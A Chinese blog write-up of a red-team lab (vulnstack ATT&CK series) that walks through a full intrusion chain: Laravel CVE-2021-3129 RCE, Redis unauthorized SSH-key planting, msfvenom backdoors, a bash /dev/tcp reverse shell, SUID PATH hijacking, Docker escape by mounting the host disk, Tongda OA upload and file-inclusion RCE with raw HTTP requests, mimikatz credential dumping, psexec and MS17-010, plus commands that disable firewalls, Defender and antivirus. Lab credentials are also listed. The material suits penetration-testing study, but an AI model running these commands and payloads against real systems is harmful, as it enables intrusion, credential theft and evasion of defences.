内网安全-Docker逃逸&DMZ穿透

前言:本人刚接触内网比较菜,如有一些错误的地方请师傅们指点一下。

知识点:

1、WEB安全-漏洞发现及利用
2、系统安全-权限提升(漏洞&配置&逃逸)
3、内网安全-横向移动(口令传递&系统漏洞)
内网安全-Docker逃逸&DMZ穿透_第1张图片
内网安全-Docker逃逸&DMZ穿透_第2张图片

实战演练-ATT&CK实战系列-红队评估

环境下载:

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

利用资源:

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
https://github.com/briskets/CVE-2021-3493
https://blog.csdn.net/szgyunyun/article/details/107104288

参考WP:

https://www.freebuf.com/articles/network/264560.html

涉及技术:

1.漏洞搜索与利用
2.Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
3.Docker逃逸
4.通达OA v11.3 漏洞利用
5.Linux环境变量提权
6.Redis 未授权访问漏洞
7.Linux sudo权限提升(CVE-2021-3156)漏洞利用
8.SSH密钥利用
9.Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
10.MS14-068漏洞利用

服务配置


靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应
的主机上启动靶机服务:

DMZ区的 Ubuntu 需要启动nginx服务:(web1)

sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F

第二层网络的 Ubuntu需要启动docker容器:(web2)

sudo service docker start
sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

域用户信息


域用户账户和密码如下:

Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

kali开启ssh服务


/etc/init.d/ssh start 			xshell 连接22端口和kali的ip

内网安全-Docker逃逸&DMZ穿透_第3张图片

过程


1.用kali扫描web1的外网端口(这里是46.160,kali是46.158地址)

nmap -T4 -sC -sV 192.168.46.160	

2.使用laravel爆出的漏洞

81端口:laravel 存在最新漏洞
python laravel-CVE-2021-3129-EXP.py http://目标地址
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

3.在用哥斯拉后门工具连接
将有效载荷和加密器改为php的
内网安全-Docker逃逸&DMZ穿透_第4张图片
4.在上线之前先判断对方的搭建系统出现这个东西就代表对方可以用docker服务
内网安全-Docker逃逸&DMZ穿透_第5张图片
5.这里我们将web权限反弹到msf是不成功的
其一:是因为对放将81端口代理到52.20:8000端口上,这里肯定是连接不通的,因为我们的msf主机和对方的52网段的不出网机子不通
其二:后门的代理没有走第一层网络 所以连接不上web2上的主机
内网安全-Docker逃逸&DMZ穿透_第6张图片
6.所以我们入侵该主机并不能造成太大的威胁,所以我们要入侵web的其他端口(kali扫描全部端口)扫到了6379的端口redis

nmap -T4 -sC -sV -p1-65535 192.168.xx.xxx

内网安全-Docker逃逸&DMZ穿透_第7张图片
内网安全-Docker逃逸&DMZ穿透_第8张图片
7.Ubuntu 1 DMZ渗透 redis未授权判断进入了就代表有redis未授权(kali运行)

redis-cli -h 192.168.xx.xxxxx

7.1Redis未授权访问-ssh密匙 生成公钥(kali 上执行)

ssh-keygen -t rsa

7.3把1.txt文件内容写入目标主机的redis缓冲中

cat 1.txt | redis-cli -h 192.168.46.160(web主机) -p 6379(redis端口) -x set hello

7.4设置redis的备份路径为/root/.ssh/

config set dir /root/.ssh  

7.5设置保存文件名为authorized_keys

config set dbfilename authorized_keys 

7.6将数据保存在目标服务器硬盘上

save

7.7连接

ssh [email protected]

内网安全-Docker逃逸&DMZ穿透_第9张图片

7.8获取web1的主机

内网安全-Docker逃逸&DMZ穿透_第10张图片

8.因为连接到web1的主机,所以生成正向反向的后门都可以,生成反向连接的后门

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf

内网安全-Docker逃逸&DMZ穿透_第11张图片
9.在将这个后门放到刚刚连接到的web1的文件下
内网安全-Docker逃逸&DMZ穿透_第12张图片

10.在用redis未授权访问的web1下载这个后门

wget http://192.168.46.160:81/p1.elf

内网安全-Docker逃逸&DMZ穿透_第13张图片

11.在这个后门执行前,kali上要启用msf的监听模块

msfconsole													开启msf
use exploit/multi/handler									使用监听模块
set payload linux/x64/meterpreter/reverse_tcp	设置刚刚生成后门的模块
set lhost 192.168.46.158								设置ip
set lport 6666												设置端口
exploit															攻击

内网安全-Docker逃逸&DMZ穿透_第14张图片
12.redis未授权访问的主机执行后门代码

./p1.elf

内网安全-Docker逃逸&DMZ穿透_第15张图片
13.然后进入到他的主机之后来进行横向渗透,首先来来获取路由

sessions 1											回到会话中
run get_local_subnets						获取本地路由
run autoroute -p 								查询本地路由
run post/multi/manage/autoroute			得到本地路由

内网安全-Docker逃逸&DMZ穿透_第16张图片

14.内网探针来查询52网段有那些ip地址存活,可能只扫到一个30的地址,其实还可以ping到20的地址

background 			
use auxiliary/scanner/discovery/udp_probe		使用扫描模块
show options													展示选项
set rhosts   192.168.52.1-255							设置主机范围
set threads 10												设置线程
run																运行

内网安全-Docker逃逸&DMZ穿透_第17张图片
15.在利用环境变量配合SUID本地提权

find / -user root -perm -4000 -print 2>/dev/null

内网安全-Docker逃逸&DMZ穿透_第18张图片

16.通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限

cd /home/jobs
./shell	
chmod 777 ps
cp /bin/bash /tmp/ps

内网安全-Docker逃逸&DMZ穿透_第19张图片

17.因为环境变量问题所以我们将这个二层网络的主机反弹到一层网络主机上面所以在创建一个kali会话连接到第一层的网络主机上面,设置nc将二层网络主机的权限反弹到一层主机上面

nc -lvp 1234

内网安全-Docker逃逸&DMZ穿透_第20张图片
18.将web权限反弹到第一层主机上

bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'

内网安全-Docker逃逸&DMZ穿透_第21张图片

19.添加环境变量

export PATH=/tmp:$PATH			添加环境变量
echo $PATH				查看环境变量

内网安全-Docker逃逸&DMZ穿透_第22张图片
20.在来使用shell提升权限

./shell
id				查看权限

内网安全-Docker逃逸&DMZ穿透_第23张图片
21.kali生成正向连接的后门由此来连接

msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf	生成正向连接的后门

内网安全-Docker逃逸&DMZ穿透_第24张图片
22.在将这个后门放到冰蝎连接上的web主机上面
内网安全-Docker逃逸&DMZ穿透_第25张图片
23.在来使用kali的msf监听这个后门

back
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp 
show options
set lport 7777
set rhost 192.168.52.20					主机连接对方的ip地址

内网安全-Docker逃逸&DMZ穿透_第26张图片
内网安全-Docker逃逸&DMZ穿透_第27张图片
24. 然后在提权的机器上运行后门发现不成功,这就是涉及到前面所提及到的dokcer(为了确保能木马能运行,在真实机上运行试验一下验证)
内网安全-Docker逃逸&DMZ穿透_第28张图片
25.docker逃逸在那台提权上的主机上进行逃逸

fdisk -l     			 #查看磁盘文件
ls /dev     			 #查看设备文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello

覆盖密匙:

cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys
 #-avx将权限也一起复制		
echo > /hello/home/ubuntu/.ssh/authorized_keys      #清空authorized_keys文件
echo '26步骤生成的密钥' > /hello/home/ubuntu/.ssh/authorized_keys       #将ssh秘钥写入	

内网安全-Docker逃逸&DMZ穿透_第29张图片

26.pc1上覆盖密钥

ssh [email protected] 			重新连接kali
cat hello.pub					查看密钥
ssh-keygen -f hello				生成密钥
chmod 600 hello					给予权限
ls
cat  hello.pub

内网安全-Docker逃逸&DMZ穿透_第30张图片
27.25步骤写入了密钥就可以连接52.20的主机(刚刚创建密钥的主机上连接)

ssh -i hello [email protected]	

内网安全-Docker逃逸&DMZ穿透_第31张图片
28.在来运行该木马
内网安全-Docker逃逸&DMZ穿透_第32张图片
29.然后建立的msf的监听就能接受到会话内网安全-Docker逃逸&DMZ穿透_第33张图片
30.然后再来进入到ubuntu的会话中查看路由地址,就能添加到93的主机地址

session 4
run get_local_subnets

内网安全-Docker逃逸&DMZ穿透_第34张图片

run autoroute -p
run post/multi/manage/autoroute

内网安全-Docker逃逸&DMZ穿透_第35张图片
31.现在我们已经拿下了20和10的主机,我们要拿下30的主机,我们要使用nmap来扫描ip地址的服务,虽然我们这台msf有52网段的ip路由,但是nmap不是msf内置的工具,所以我们可以设置一个代理来使用nmap扫描工具。(这里使用msf自带的端口扫描模块)
内网安全-Docker逃逸&DMZ穿透_第36张图片

内网安全-Docker逃逸&DMZ穿透_第37张图片
32.这里我使用msf自带的扫描模块

use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.52.30
set threads 10
exploit

内网安全-Docker逃逸&DMZ穿透_第38张图片
33.然后在用kali机连接到这个oa系统,前提win7上打开了oa系统,kali的浏览器上设置代理,使用burpsuite抓包
内网安全-Docker逃逸&DMZ穿透_第39张图片
34. 这里就是使用通达OA系统的RCE和前台任意用户登录漏洞

34.1先在登录处抓包

内网安全-Docker逃逸&DMZ穿透_第40张图片

34.2修改在路径,删除cookie,添加Uid

内网安全-Docker逃逸&DMZ穿透_第41张图片

34.3然后就会返回这个cookie在来利用这个cookie未授权访问

内网安全-Docker逃逸&DMZ穿透_第42张图片

34.4用获取的SESSID访问/general/

内网安全-Docker逃逸&DMZ穿透_第43张图片

34.5未授权文件上传 任意文件上传漏洞 /ispirit/im/upload.php,在来直接使用这个数据包修改ip和端口号就行

Host: xxxx:xx
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
34.5在来使用文件包含来  命令执行
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 	ip:端口
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/图片路径"}&cmd=whoami

34.6发现可以命令执行,再来下载一个后门代码,前提在生成一个后门木马,生成windows木马,在将木马放到web的目录上

msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe

内网安全-Docker逃逸&DMZ穿透_第44张图片

34.7再来下载这个木马

certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe

在这里插入图片描述

34.8使用木马前监听这个后门

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.30
set lport 7777
exploit 

内网安全-Docker逃逸&DMZ穿透_第45张图片

34.9使用这个木马

c:/w7.exe

内网安全-Docker逃逸&DMZ穿透_第46张图片

35.成功之后发现有

background
sessions
sessions 5

内网安全-Docker逃逸&DMZ穿透_第47张图片
36.添加93网段

run get_local_subnets
run autorouter  -p
run post/multi/manage/autoroute

内网安全-Docker逃逸&DMZ穿透_第48张图片
内网安全-Docker逃逸&DMZ穿透_第49张图片
37.然后在利用msf自带的扫描模块扫描

background
use auxiliary/scanner/discover/udp_proe
show options
set rhosts 192.168.93.1-50
run

内网安全-Docker逃逸&DMZ穿透_第50张图片
38.发现对方开放的ip地址和端口内网安全-Docker逃逸&DMZ穿透_第51张图片


注:这里是关闭了防火墙

39.其一:利用ms17010

use auxiliary/scanner/smb/smb_ms17_010		扫描是否有ms17010漏洞
show options
set rhosts 192.168.93.20-30			扫描20-30网段
exploit

内网安全-Docker逃逸&DMZ穿透_第52张图片
40.发现有两台主机可以利用
内网安全-Docker逃逸&DMZ穿透_第53张图片
41.其二:使用mimikatz来攻击

sessions
sessions 5
load kiwi			载入mimikatz

内网安全-Docker逃逸&DMZ穿透_第54张图片
42.如果这里提示x32不能执行x64,那就要移植进程

kiwi_cmd sekurlsa::logonpasswords			获取账号密码

内网安全-Docker逃逸&DMZ穿透_第55张图片
43.先执行ps命令获取一个x64的system权限进程

ps
migrate 4012			移植4012进程

内网安全-Docker逃逸&DMZ穿透_第56张图片
44.再来执行刚刚的命令

kiwi_cmd sekurlsa::logonpasswords			获取账号密码

内网安全-Docker逃逸&DMZ穿透_第57张图片
45.获取到administartor账号密码就来利用msf的psexec模块

background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp		改为正向连接
set rhost 192.168.93.30					设置主机
show options
set smbuser 获取到的administrator账号			设置账号
set smbpass 获取到的密码				设置密码
exploit

内网安全-Docker逃逸&DMZ穿透_第58张图片
内网安全-Docker逃逸&DMZ穿透_第59张图片
46.其三:利用smb的ms17010的psexec的模块

use exploit/windows/smb/ms17_010_psexec			使用模块
set payload windows/meterpreter/bind_tcp				设置正向连接
set rhost 192.168.93.40											设置ip

内网安全-Docker逃逸&DMZ穿透_第60张图片


这里开启了防火墙

47.这就是开启了防火墙,攻击能成功但是反弹不了会话
内网安全-Docker逃逸&DMZ穿透_第61张图片
48.首先建立session

sessions 5

内网安全-Docker逃逸&DMZ穿透_第62张图片
49.返回shell终端
内网安全-Docker逃逸&DMZ穿透_第63张图片
50.强制关闭防火墙

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"  
sc \\192.168.93.30 start unablefirewall

内网安全-Docker逃逸&DMZ穿透_第64张图片
51.之后就可以继续攻击

background
exploit

内网安全-Docker逃逸&DMZ穿透_第65张图片
52.攻击win7的ms17010的模块

background
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/x64/meterpreter/bind_tcp		改为正向连接
set rhost 192.168.93.40
run

内网安全-Docker逃逸&DMZ穿透_第66张图片

补充:
关闭防火墙: netsh advfirewall set allprofiles state off
关闭win10的防火墙Denfender: net stop windefend
关闭DEP: bcdedit.exe/set{current}nx alwaysoff
关闭杀毒软件: run killav run post/windows/manage/killava

你可能感兴趣的:(安全,docker,网络)